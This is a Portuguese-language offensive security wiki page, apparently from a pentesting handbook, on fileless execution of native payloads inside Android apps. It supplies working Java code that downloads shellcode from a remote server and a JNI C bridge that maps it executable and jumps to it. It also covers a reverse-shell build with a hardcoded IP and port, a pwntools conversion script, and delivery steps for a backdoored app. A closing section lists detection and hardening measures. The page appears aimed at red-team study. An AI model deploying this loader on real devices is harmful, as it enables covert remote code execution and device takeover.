Execução de Código Nativo em Memória no Android via JNI (shellcode)

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Esta página documenta um padrão prático para executar native payloads totalmente em memória a partir de um processo de app Android não confiável usando JNI. O fluxo evita criar qualquer binário nativo no disco: baixar bytes brutos do shellcode via HTTP(S), passá-los para uma JNI bridge, alocar memória RX e pular para ela.

Por que isso importa

  • Reduz artefatos forenses (sem ELF no disco)
  • Compatível com native payloads “stage-2” gerados a partir de um exploit binário ELF
  • Corresponde ao tradecraft usado por malware moderno e red teams

Padrão de alto nível

  1. Buscar os bytes do shellcode em Java/Kotlin
  2. Chamar um método nativo (JNI) com o array de bytes
  3. Em JNI: alocar memória RW → copiar bytes → mprotect para RX → chamar entrypoint

Exemplo mínimo

Java/Kotlin side

java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

Lado C/JNI (arm64/amd64)

c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

Notes and caveats

  • W^X/execmem: O Android moderno impõe W^X; mapeamentos anônimos PROT_EXEC ainda são geralmente permitidos para processos de app com JIT (sujeito à política SELinux). Alguns dispositivos/ROMs restringem isso; recorra a JIT-allocated exec pools ou native bridges quando necessário.
  • Architectures: Garanta que a arquitetura do shellcode corresponda ao dispositivo (arm64-v8a comumente; x86 somente em emuladores).
  • Entrypoint contract: Decida uma convenção para a entrada do seu shellcode (no args vs ponteiro para estrutura). Mantenha-o independente de posição (PIC).
  • Stability: Limpe o cache de instruções antes de saltar; cache desalinhado pode travar em ARM.

Packaging ELF → position‑independent shellcode Uma pipeline robusta é:

  • Compile seu exploit como um ELF estático com musl-gcc
  • Converta o ELF em um self‑loading shellcode blob usando pwntools’ shellcraft.loader_append

Build

bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

Transformar ELF para raw shellcode (exemplo amd64)

python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Por que loader_append funciona: ele emite um tiny loader que mapeia os segmentos de programa ELF embutidos na memória e transfere o controle para seu entrypoint, fornecendo um único raw blob que pode ser memcpy’ed e executado pelo app.

Delivery

  • Hospede sc em um servidor HTTP(S) que você controla
  • O backdoored/test app baixa sc e invoca a JNI bridge mostrada acima
  • Escute na sua máquina de operador por qualquer conexão reversa que o payload kernel/user-mode estabelecer

Validation workflow for kernel payloads

  • Use um vmlinux simbolizado para reversing rápido/recuperação de offsets
  • Prototipe primitivas em uma imagem de debug conveniente se disponível, mas sempre re‑valide no alvo Android real (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • Proibir PROT_EXEC anônimo em domínios de app quando possível (SELinux policy)
  • Aplicar integridade de código rígida (no dynamic native loading from network) e validar canais de atualização
  • Monitorar transições suspeitas mmap/mprotect para RX e grandes cópias de byte-array precedendo jumps

References

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